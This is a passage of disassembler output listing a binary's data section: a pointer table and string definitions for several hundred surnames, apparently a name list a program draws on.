dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry_0 ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight_0 ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda_0 ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine_0 ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch_0 ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay_0 ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick_0 ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush_0 ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange_0 ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
dd offset aTroy ; "Troy"
dd offset aTruss ; "Truss"
dd offset aTsiatis ; "Tsiatis"
dd offset aTsomides ; "Tsomides"
dd offset aTsukurov ; "Tsukurov"
dd offset aTuck ; "Tuck"
dd offset aTudge ; "Tudge"
dd offset aTukan ; "Tukan"
dd offset aTurano ; "Turano"
dd offset aTurek ; "Turek"
dd offset aTuttle_0 ; "Tuttle"
dd offset aTwells ; "Twells"
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
dd offset aWeighart ; "Weighart"
dd offset aWeingarten ; "Weingarten"
dd offset aWeinhaus ; "Weinhaus"
dd offset aWeissbourd ; "Weissbourd"
dd offset aWeissman ; "Weissman"
dd offset aVelasquez ; "Velasquez"
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite_0 ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee_0 ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
dd offset aZerbini ; "Zerbini"
dd offset aZoldak ; "Zoldak"
dd offset aZucconi ; "Zucconi"
dd offset aZurn ; "Zurn"
dd offset aZwiers ; "Zwiers"
dd offset aZytowski ; "Zytowski"
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .nsp0:off_445440o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .nsp0:00445444o
align 4
aAdams db 'Adams',0 ; DATA XREF: .nsp0:00445448o
align 4
aAddison db 'Addison',0 ; DATA XREF: .nsp0:off_44544Co
aAdelstein db 'Adelstein',0 ; DATA XREF: .nsp0:00445450o
align 10h
aAdibe db 'Adibe',0 ; DATA XREF: .nsp0:00445454o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .nsp0:00445458o
align 10h
aAhlers db 'Ahlers',0 ; DATA XREF: .nsp0:0044545Co
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .nsp0:00445460o
align 10h
aAlcorn db 'Alcorn',0 ; DATA XREF: .nsp0:00445464o
align 4
aAlda db 'Alda',0 ; DATA XREF: .nsp0:00445468o
align 10h
aAleks db 'Aleks',0 ; DATA XREF: .nsp0:0044546Co
align 4
aAllison_0 db 'Allison',0 ; DATA XREF: .nsp0:00445470o
aAlongi db 'Alongi',0 ; DATA XREF: .nsp0:00445474o
align 4
aAltavilla db 'Altavilla',0 ; DATA XREF: .nsp0:00445478o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .nsp0:0044547Co
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .nsp0:00445480o
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .nsp0:00445484o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .nsp0:00445488o
align 10h
aAmeer db 'Ameer',0 ; DATA XREF: .nsp0:0044548Co
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .nsp0:00445490o
align 10h
aAnand db 'Anand',0 ; DATA XREF: .nsp0:00445494o
align 4
aAndel db 'Andel',0 ; DATA XREF: .nsp0:00445498o
align 10h
aAndo db 'Ando',0 ; DATA XREF: .nsp0:0044549Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .nsp0:004454A0o
align 4
aAndron db 'Andron',0 ; DATA XREF: .nsp0:004454A4o
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .nsp0:004454A8o
align 4
aAnsley db 'Ansley',0 ; DATA XREF: .nsp0:004454ACo
align 10h
aAnthony db 'Anthony',0 ; DATA XREF: .nsp0:004454B0o
aAntos db 'Antos',0 ; DATA XREF: .nsp0:004454B4o
align 10h
aArbia db 'Arbia',0 ; DATA XREF: .nsp0:004454B8o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .nsp0:004454BCo
aArellano db 'Arellano',0 ; DATA XREF: .nsp0:004454C0o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: .nsp0:004454C4o
align 4
aArjas db 'Arjas',0 ; DATA XREF: .nsp0:004454C8o
align 10h
aArky db 'Arky',0 ; DATA XREF: .nsp0:004454CCo
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .nsp0:004454D0o
align 10h
aAugustus db 'Augustus',0 ; DATA XREF: .nsp0:004454D4o
align 4
aAurelius db 'Aurelius',0 ; DATA XREF: .nsp0:004454D8o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .nsp0:004454DCo
aAxworthy db 'Axworthy',0 ; DATA XREF: .nsp0:004454E0o
align 4
aAyiemba db 'Ayiemba',0 ; DATA XREF: .nsp0:004454E4o
aAykroyd db 'Aykroyd',0 ; DATA XREF: .nsp0:004454E8o
aAyling db 'Ayling',0 ; DATA XREF: .nsp0:004454ECo
align 4
aAzima db 'Azima',0 ; DATA XREF: .nsp0:004454F0o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: .nsp0:004454F4o
align 4
aBackus db 'Backus',0 ; DATA XREF: .nsp0:004454F8o
align 10h
aBady db 'Bady',0 ; DATA XREF: .nsp0:004454FCo
align 4
aBaglivo db 'Baglivo',0 ; DATA XREF: .nsp0:00445500o
aBagnold db 'Bagnold',0 ; DATA XREF: .nsp0:00445504o
aBailar db 'Bailar',0 ; DATA XREF: .nsp0:00445508o
align 10h
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .nsp0:0044550Co
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .nsp0:00445510o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .nsp0:00445514o
align 10h
aBallew db 'Ballew',0 ; DATA XREF: .nsp0:00445518o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .nsp0:0044551Co
align 10h
aBanta db 'Banta',0 ; DATA XREF: .nsp0:00445520o
align 4
aBarabesi db 'Barabesi',0 ; DATA XREF: .nsp0:00445524o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .nsp0:00445528o
aBaranczak db 'Baranczak',0 ; DATA XREF: .nsp0:0044552Co
align 4
aBaranowska db 'Baranowska',0 ; DATA XREF: .nsp0:00445530o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .nsp0:00445534o
aBarbetti db 'Barbetti',0 ; DATA XREF: .nsp0:00445538o
align 4
aBarneson db 'Barneson',0 ; DATA XREF: .nsp0:0044553Co
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .nsp0:00445540o
aBarriola db 'Barriola',0 ; DATA XREF: .nsp0:00445544o
align 4
aBarry db 'Barry',0 ; DATA XREF: .nsp0:00445548o
align 10h
aBartholomew db 'Bartholomew',0 ; DATA XREF: .nsp0:0044554Co
aBartolome db 'Bartolome',0 ; DATA XREF: .nsp0:00445550o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .nsp0:00445554o
align 10h
aBasavappa db 'Basavappa',0 ; DATA XREF: .nsp0:00445558o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: .nsp0:0044555Co
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .nsp0:00445560o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .nsp0:00445564o
align 10h
aBayles db 'Bayles',0 ; DATA XREF: .nsp0:00445568o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .nsp0:0044556Co
align 10h
aBeacon db 'Beacon',0 ; DATA XREF: .nsp0:00445570o
align 4
aBeal db 'Beal',0 ; DATA XREF: .nsp0:00445574o
align 10h
aBean db 'Bean',0 ; DATA XREF: .nsp0:00445578o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .nsp0:0044557Co
aBeder db 'Beder',0 ; DATA XREF: .nsp0:00445580o
align 4
aBedford db 'Bedford',0 ; DATA XREF: .nsp0:00445584o
aBehenna db 'Behenna',0 ; DATA XREF: .nsp0:00445588o
aBelanger db 'Belanger',0 ; DATA XREF: .nsp0:0044558Co
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .nsp0:00445590o
align 10h
aBelfer db 'Belfer',0 ; DATA XREF: .nsp0:00445594o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .nsp0:00445598o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .nsp0:0044559Co
align 4
aBellhouse db 'Bellhouse',0 ; DATA XREF: .nsp0:004455A0o
align 10h
aBellini db 'Bellini',0 ; DATA XREF: .nsp0:004455A4o
aBelloc db 'Belloc',0 ; DATA XREF: .nsp0:004455A8o
align 10h
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .nsp0:004455ACo
align 10h
aBergson db 'Bergson',0 ; DATA XREF: .nsp0:004455B0o
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .nsp0:004455B4o
align 4
